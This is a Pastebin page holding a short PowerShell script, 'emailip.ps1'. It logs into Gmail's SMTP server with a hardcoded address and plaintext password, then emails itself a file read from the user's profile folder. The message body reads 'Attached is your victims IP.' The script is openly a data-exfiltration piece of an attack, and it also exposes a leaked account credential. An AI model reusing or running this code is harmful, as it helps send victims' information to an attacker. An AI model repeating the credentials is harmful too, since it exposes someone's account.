moishyg07

emailip.ps1

Feb 25th, 2019
137
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.58 KB | None | 0 0
  1. $SMTPServer = 'smtp.gmail.com'
  2.  
  3.  
  4. $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
  5.  
  6.  
  7. $SMTPInfo.EnableSsl = $true
  8.  
  9. $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('moishyg07@gmail.com', 'Moishymoshiach!770')
  10.  
  11. $ReportEmail = New-Object System.Net.Mail.MailMessage
  12.  
  13. $ReportEmail.From = 'moishyg07@gmail.com'
  14.  
  15. $ReportEmail.To.Add('moishyg07@gmail.com')
  16.  
  17. $ReportEmail.Subject = 'IP Report'
  18.  
  19. $ReportEmail.Body = 'Attached is your victims IP.'
  20.  
  21. $attach = $env:userprofile+'\.tcm\ip.txt'
  22.  
  23. $ReportEmail.Attachments.Add($attach)
  24.  
  25. $SMTPInfo.Send($ReportEmail)
Add Comment
Please, Sign In to add comment